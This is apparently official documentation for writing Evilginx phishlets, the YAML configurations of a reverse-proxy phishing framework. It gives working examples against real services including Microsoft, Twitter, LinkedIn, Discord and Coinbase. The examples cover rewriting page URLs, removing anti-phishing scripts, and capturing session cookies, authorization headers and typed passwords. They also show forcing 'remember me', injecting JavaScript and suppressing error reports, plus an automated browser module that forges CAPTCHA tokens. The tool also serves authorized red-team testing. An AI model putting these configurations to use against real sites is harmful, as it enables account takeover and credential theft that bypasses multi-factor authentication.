Create Phishlets

Phishlet Format (v3.x.x)

Phishlets are configuration files in YAML format. If you need to get familiar with YAML, first, you can find some good overview here: YAML Syntax

Used for storing general phishlet information.

min_ver: '3.7.1'
redirect_url: 'https://mail.google.com/mail'
name
type
description

min_ver

string

What is the minimum version of Evilginx that this phishlet will be compatible with.

redirect_url

string

Use a default redirect URL, when tokens are successfully captured, if it is not specifically set in the phishing lure.

params

Every created phishlet can serve as a template. Templates will allow to create child phishlets, with customized content, through parameters defined in this section. Parameters defined here can be used throughout any string content used in the phishlet by using {param_name} string.

For example:

params:
  - {name: 'subdomain', default: ''}

And use it to customize the subdomain of proxy_hosts later in the phishlet:

proxy_hosts:
  - {phish_sub: '{subdomain}', orig_sub: '{subdomain}', domain: 'domain.com', session: true, is_landing: true}
name
type
description

name

string

Specifies the parameter name that will be used as reference throughout phishlet contents.

default

string

Default value for the parameter if it's not specified during the creation of child phishlet.

required

bool

Creation of child phishlets will fail if the parameter value is not defined, when set to true. Default: false.

proxy_hosts

This section describes all subdomains and domains that Evilginx will handle for proxying the traffic between the visitor and legitimate host.

proxy_hosts:
  - {phish_sub: '', orig_sub: '', domain: 'twitter.com', session: true, is_landing: true}
  - {phish_sub: 'abs', orig_sub: 'abs', domain: 'twimg.com', session: false, is_landing: false}
  - {phish_sub: 'api', orig_sub: 'api', domain: 'twitter.com', session: false, is_landing: false}
name
type
description

phish_sub

string

Specifies what will the subdomain be in the phishing hostname. It can be the same as the original subdomain.

orig_sub

string

The original subdomain of the proxied website's hostname.

domain

string

Base domain of the legitimate website to proxy the traffic for.

session

bool

Set this parameter to true for hosts that handle main website HTML content and which have their hostname visible in the browser's URL bar. Setting this to true for specific host will make sure that this host's responses will contain session cookies, credentials and other data worth capturing. If it is a host serving static content (e.g. javascript), you can safely set this parameter to false.

is_landing

bool

If set to true this host will be used for generating phishing URLs. Set it to true only for one host that will be used with a phishing lure URL.

auto_filter

bool

(NEW): If set to true (default) proxy with try to automatically create required sub_filters for this host, without the need to specify them manually.

sub_filters

This section describes all string substitution filters that you can define to dynamically modify the proxied website's content. This will be important for replacing all occurences of legitimate website's URLs with phishing proxy URLs, in order to prevent the browser from redirecting the visitor to legitimate website, before they can finish the authentication process. Filters can also be useful for removing or modifying javascript anti-phishing security measures.

sub_filters:
  - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/ppsecure/', replace: 'https://{hostname}/ppsecure/', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/GetCredentialType.srf', replace: 'https://{hostname}/GetCredentialType.srf', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/GetSessionState.srf', replace: 'https://{hostname}/GetSessionState.srf', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'login.live.com', orig_sub: 'outlook', domain: 'live.com', search: 'https://{hostname}', replace: 'https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript'], redirect_only: true}
  - {triggers_on: 'login.live.com', orig_sub: 'account', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'account.live.com', orig_sub: 'account', domain: 'live.com', search: 'href="https://{hostname}', replace: 'href="https://{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'account.live.com', orig_sub: 'live', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
  - {triggers_on: 'account.live.com', orig_sub: 'account', domain: 'live.com', search: '{hostname}', replace: '{hostname}', mimes: ['text/html', 'application/json', 'application/javascript']}
name
type
description

triggers_on

string

Original hostname for which the filter will be triggered for. Proxied data between the visitor and defined legitimate host, which is a value of that parameter, will have this substitution filter triggered for. Selects communication to which proxied host will be dynamically modified by Evilginx proxy.

orig_sub

string

Subdomain name of the legitimate host that will be used in string search for all occurences.

domain

string

Domain name of the legitimate host that will be used in string search for all occurences.

search

regexp

Regular expression to use in searching for string occurences in response body. Supports also regexp groups. See below the list of supported auto-fill variables which you can use.

replace

string

String that will replace all occurences of strings matching the search regexp. If regexp groups were defined in search field, refer to them here with e.g. ${1} where 1 is the group index. See below the list of supported auto-fill variables which you can use.

mimes

string array

Filtering will only trigger for response packets which Content-Type header value equal to any of the MIME types defined here.

redirect_only

bool (optional)

If true indicates that the filter will trigger only if redirection URL was specified when generating a phishing URL.

with_params

string array

Only enable this filter if all of the following custom parameters were delivered with the phishing URL.

auto-fill variables

You can use the following auto-fill variables in both search and replace fields:

name
description

{hostname}

When used in search field, it will become a hostname from combination of orig_sub and domain, defined in same sub_filter entry. When used in replace field, the combined hostname will be auto-translated to corresponding phishing hostname, by looking up the configured entries in proxy_hosts section. This is useful for replacing all occurences of website's original hostname with the phishing one in responses. (e.g. www.linkedin.no-phish.com)

{subdomain}

Works the same way as {hostname}, but only refers to the subdomain defined in orig_sub field. (e.g. www)

{domain}

Works the same way as {hostname}, but only refers to the domain defined in domain field. (e.g. linkedin.no-phish.com)

{orig_hostname}

Only for replacements. Replace with the original hostname, which will not be converted to the phishing one. (e.g. www.linkedin.com)

{orig_domain}

Only for replacements. Replace with the original domain, which will not be converted to the phishing one. (e.g. linkedin.com)

{basedomain}

Works the same way as {domain}, but instead of serving the whole phishlet domain, it only uses the base top-level domain defined in global config. (e.g. no-phish.com)

{hostname_regexp}

Equivalent of {hostname}, but each auto-translated string is properly escaped for use inside regular expressions. Needed sometimes for bypassing anti-phishing protections involving regular expressions.

{subdomain_regexp}

Equivalent of {subdomain}, but each auto-translated string is properly escaped for use inside regular expressions. Needed sometimes for bypassing anti-phishing protections involving regular expressions.

{domain_regexp}

Equivalent of {domain}, but each auto-translated string is properly escaped for use inside regular expressions. Needed sometimes for bypassing anti-phishing protections involving regular expressions.

{basedomain_regexp}

Equivalent of {basedomain}, but each auto-translated string is properly escaped for use inside regular expressions. Needed sometimes for bypassing anti-phishing protections involving regular expressions.

example 1

  - {triggers_on: 'login.live.com', orig_sub: 'login', domain: 'live.com', search: 'https://{hostname}/ppsecure/', replace: 'https://{hostname}/ppsecure/', mimes: ['text/html', 'application/json', 'application/javascript']}
  • Filter will trigger only for packets proxied to hostname login.live.com.

  • Searches for all occurences of string https://login.live.com/ppsecure/ and replaces them with https://login.phishdomain.com/ppsecure/.

example 2

  - {triggers_on: 'www.linkedin.com', orig_sub: 'cdn', domain: 'linkedinapis.com', search: '//{hostname}/([0-9a-z]*)/nhome/', replace: '//{hostname}/${1}/nhome/', mimes: ['text/html', 'application/json']}
  • Filter will trigger only for packets proxied to hostname www.linkedin.com.

  • Searches for all occurences of string //cdn.linkedinapis.com/<any_alphanumeric_string>/nhome/ and replaces them with //cdn.phishdomain.com/<alphanumeric_string_from_regexp_group>/nhome/.

auth_tokens

Defines tokens to capture in transmitted proxied request or response. The tokens can either be extracted from cookies or response body sent by the server or from HTTP headers found in client requests. When all tokens are retrieved the authentication session is considered to be fully captured and a phishing attack is considered a success. When this happens, the user will be redirected to the URL specified in the phishing lure.

Look for tokens in cookies sent from the server through Set-Cookie header.

auth_tokens:
  - domain: '.twitter.com'
    keys: ['kdt','_twitter_sess','twid','auth_token']
    type: 'cookie'
name
type
description

domain

string

Domain name exactly as defined in contents of the Set-Cookie header. The . as a prefix indicates that cookies will be sent for all subdomains of that domain.

keys

string array

Exact names of the cookies that will be searched for and captured. Available key modifiers can be found below.

type

string

Must be set to cookie

key modifiers

Modifiers can be set for specific keys by adding a : character at the end of the key name, followed by the modifier name. Modifiers can be stacked and need to be separated with : character as well (e.g. session:opt or frog-[0-9]{3}:regexp:always).

name
description

regexp

Treats cookie name as a regular expression. For example key 'frog-[0-9]{3}:regexp' will look for any key like frog-283, frog-111, frog-291 to capture. IMPORTANT! If you use at least one regexp modified key, make sure to trigger session capture with auth_urls (explained below).

opt

Treats that cookie as optional. If that cookie arrives, it will be captured, but if it doesn't and other required cookies have already been captured, the session will be considered finished.

always

By default Evilginx ignores any cookies treated as session cookies, which have no expiration time set up. This modifier will make sure to always capture the cookie despite it not having an expiration time.

body

Look for tokens in HTTP response content body with regular expressions.

auth_tokens:
  - domain: 'discord.com'
    path: '/auth/login'
    name: 'token'
    search: '"token":"([^"]*)'
    type: 'body'
name
type
description

*, body, http.

domain

string

Domain name used as a hostname in a request, which predates the response.

path

regexp

Regular expression to match the URL path of the intercepted request, which predates the response.

name

string

Name of the captured token under which it will be listed in captured session details, for visual needs only.

search

regexp

Regular expression to use when searching the response body for token values. First regexp group will contain the value e.g. "token":"([^"]*).

type

string

Must be set to body

header

Look for tokens in the header values of HTTP requests.

auth_tokens:
  - domain: 'discord.com'
    path: '/api/v9/heartbeat'
    name: 'token'
    header: 'authorization'
    type: 'http'
name
type
description

domain

string

Domain name used as a hostname in a request.

path

regexp

Regular expression to match the URL path of the intercepted request.

name

string

Name of the captured token under which it will be listed in captured session details, for visual needs only.

header

string

Name of the HTTP header to capture the value from e.g. Auhtorization.

type

string

Must be set to http

example 1

auth_tokens:
  - domain: '.company.com'
    keys: ['session','_visit','id']
    type: 'cookie'
  - domain: 'auth.company.com'
    keys: ['sid','ver,opt']
    type: 'cookie'

example 2

auth_tokens:
  - domain: '.company.com'
    keys: ['.*,regexp']
    type: 'cookie'

This will capture all cookies set for domain .company.com. You will need to set auth_urls in order to trigger session capture by other means, than detecting if all cookies were captured.

credentials

This is the section were you specify which POST arguments should be captured and which of them are user credentials.

credentials:
  username:
    key: 'email'
    search: '(.*)'
    type: 'post'
  password:
    key: 'password'
    search: '(.*)'
    type: 'post'
  custom:
    - key: 'token'
      search: '(.*)'
      type: 'post'
    - key: 'pin'
      search: '([0-9]*)'
      type: 'post'

categories:

  • username: Defines POST parameter for username/login/email part of captured credentials.

  • password: Defines POST parameter for capturing the user password.

  • custom : Defines and array of optional POST parameters for additional storage. If you need to capture a specific token or PIN from an additional form field, you can use this.

parameters:

name
type
description

key

regexp

Regular expression for POST parameter name to match. This is ignored if type is set to json.

search

regexp

Regular expression to search through the value of the detected POST parameter (type == post) or searching through the whole JSON string (type == json). The value to capture is captured from regular expression's first defined group.

type

string

Defines the content type of the request that will be sent. Allowed types: json, post (default).

json example

credentials:
  username:
    key: ''
    search: '"email":"([^"]*)'
    type: 'json'
  password:
    key: ''
    search: '"password":"([^"]*)'
    type: 'json'

auth_urls

By default Evilginx will consider the session as authenticated when all cookies defined in auth_tokens section are captured. The exception is when the names of the cookies, you need to capture, are generated dynamically. In such scenario you need to use regular expressions to search for session cookies or just capture all of them. Evilginx will then not know when all of the session cookies have been captured and will need an alternative way to trigger the successful session capture.

Session will be considered captured when request to any of the defined URL paths is made. These URL paths should only be accessible after the user has successfully authenticated, thus indicating the authentication was successful.

auth_urls:
  - '/home'
  • (string array): When a request to any of the following paths is detected, it will trigger the session capture.

example 1

auth_urls:
  - '/admin'
  - '/admin/.*'

When user is redirected to https://phishdomain.com/admin, https://phishdomain.com/admin/profile or https://phishdomain.com/admin/settings, session capture will be considered successful.

login

Defines the domain and path where the login page on the phished website resides.

login:
  domain: 'www.linkedin.com'
  path: '/uas/login'

force_post

This section let's you define what POST arguments you want to add to an existing POST requests, in transmission. This is useful to force phished users to authenticate with "Remember Me" option enabled, even though they explicitly left the checkboxes unticked on the login form.

force_post:
  - path: '/sessions'
    search:
      - {key: 'session\[user.*\]', search: '.*'}
      - {key: 'session\[pass[a-z]{4}\]', search: '.*'}
    force:
      - {key: 'remember_me', value: '1'}
    type: 'post'
  • path (regexp): Regular expression to match the URL path the intercepted POST request will be sent to.

  • search: Trigger POST arguments. ALL of the defined here POST arguments must be present in the POST request, for the POST arguments to be inserted or replaced.

    • key (regexp): Regular expression to match the POST argument key.

    • search (regexp): Regular expression to match the POST argument value.

  • force: List of POST arguments to insert or replace in intercepted POST request.

    • key (string): Name of the POST argument.

    • value (string): Value of the POST argument.

  • type (string): Type of the POST request to handle. Currently only post is supported.

js_inject

This section defines all Javascript scripts that you want to inject into proxied pages. Every script can be customized with {var_name} variable parameters, which later can be set to different values in each created lure.

js_inject:
  - trigger_domains: ["www.linkedin.com"]
    trigger_paths: ["/uas/login"]
    trigger_params: ["email"]
    script: |
      function lp(){
        var email = document.querySelector("#username");
        var password = document.querySelector("#password");
        if (email != null && password != null) {
          email.value = "{email}";
          password.focus();
          return;
        }
        setTimeout(function(){lp();}, 100);
      }
      setTimeout(function(){lp();}, 100);
name
type
description

trigger_domains

string array

All hostnames on which the injection will trigger.

trigger_paths

regexp array

Regular expressions for all URL paths that will trigger the injection.

trigger_params

string array

Injection will trigger only if the following parameters are defined in a lure.

script

string

Javascript code that will be injected right before the </body> tag.

intercept

This section defines, which HTTP requests in your proxied connections you want to intercept and replace responses for.

intercept:
  - {domain: 'www.linkedin.com', path: '^\/report_error$', http_status: 200, body: '{"error":0}'', mime: "application/json"}
  - {domain: 'app.linkedin.com', path: '^\/api\/v1\/log\/.*', http_status: 404}
name
type
description

domain

string

Domain name used as a hostname in a request.

path

regexp

Regular expression to match the URL path of the intercepted request.

http_status

int

HTTP status to return in the response.

body

string

Response body to return. Empty by default.

mime

string

Response MIME type to return. Default: text/plain

evilpuppet

info

This part applies only to Evilginx Pro users who have access to Evilpuppet module.

Interactive background browser sessions, spawned on-demand, with sole purpose of forging secret tokens to be used within the proxied Evilginx session.

evilpuppet:
  triggers:
    - domains: ['www.coinbase.com']
      paths: ['/sessions']
      token: 'recaptcha_token'
      open_url: 'https://www.coinbase.com/signin'
      actions:
        - selector: '#email'
          value: '{username}'
          enter: false
          click: false
          post_wait: 0
        - selector: '#password'
          value: '{password}'
          enter: false
          click: false
          post_wait: 0
        - selector: '#stay_signed_in'
          click: true
          post_wait: 0
        - selector: '#signin_button'
          click: true
          post_wait: 0
  interceptors:
    - token: 'recaptcha_token'
      url_re: '/sessions'
      post_re: 'recaptcha_token=([^&]*)'
      abort: true

triggers

Triggers will execute when a specific request is intercepted in Evilginx proxy, during the intercative phishing session. Triggers should be set up for requests, which require secret tokens to be passed in POST arguments. The proxy will pause and spawn a background Evilpuppet browser session to forge the token, through pre-configured actions and interceptors. Once the forged token is retrieved, its value will get replaced with the forged one.

name
type
description

domains

string array

List of hostnames on which the rule will trigger, when the Evilginx proxy comes across proxied requests referring to them.

paths

string array

List of URL paths on which the rule will trigger, when the Evilginx proxy comes across proxied requests referring to them.

token

string

The name of the token key to detect in POST data to trigger this rule. After all actions are executed, the proxy will wait for this token to be retrieved by the Evilpuupet interceptors. Token name needs to match at least one of the tokens set up in the interceptors. Can be empty.

open_url

string

URL to open in the background browser session when trigger is triggered. Can be empty and then actions will be performed on whatever page the browser session left on - useful for multistep login stages.

actions

Actions will be performed in context of the browser session, to interact with the website. These should be used to trigger browser behavior, which will result in browser generating the needed token and sending it with the HTTP request. The token should then be intercepted with configured interceptors.

name
type
description

selector

string

Selector to use for finding a DOM item to interact with. Browser will wait for this item to appear until the timeout hits.

value

string

If DOM item is an input box, this is the text value, which will be typed into it. You can use custom parameters:  - {username}: Will be replaced with username the users entered into the username field of the login page.  - {password}: Will be replaced with password the users entered into the password field of the login page.

enter

bool

After filling out the field with supplied value, browser will hit "Enter", when set to true, while the item is in focus

click

bool

Browser will left-click an item, when set to true. Works for checkbox items and buttons.

post_wait

int

Wait number of milliseconds after completing this action, before moving on to the next one.

interceptors

These are the interceptors that will be set up for the background browser session, for intercepting POST data tokens, which will be returned back to the proxy process. The interceptors will trigger on HTTP requests made from the browser session.

name
type
description

token

string

Token key name to be retrieved from POST data.

url_re

regexp

Regular expression to match the full URL of the intercepted request.

post_re

regexp

Regular expression to match the whole POST data content. The first regular expression group, set up in the expression, will be used for extracting the relevant token.

Puppeter

Example of a script that automates logging in to the site and takes a screenshot of the page after logging in:

const puppeteer = require('puppeteer');

(async () => {
    const browser = await puppeteer.launch({ headless: false });
    const page = await browser.newPage();
    await page.goto('https://example.com/login');
    await page.type('#username', 'your-username');
    await page.type('#password', 'your-password');
    await page.click('#submit-button');
    await page.waitForNavigation();
    await page.screenshot({ path: 'after-login.png' });
    await browser.close();
})();

Last updated

Was this helpful?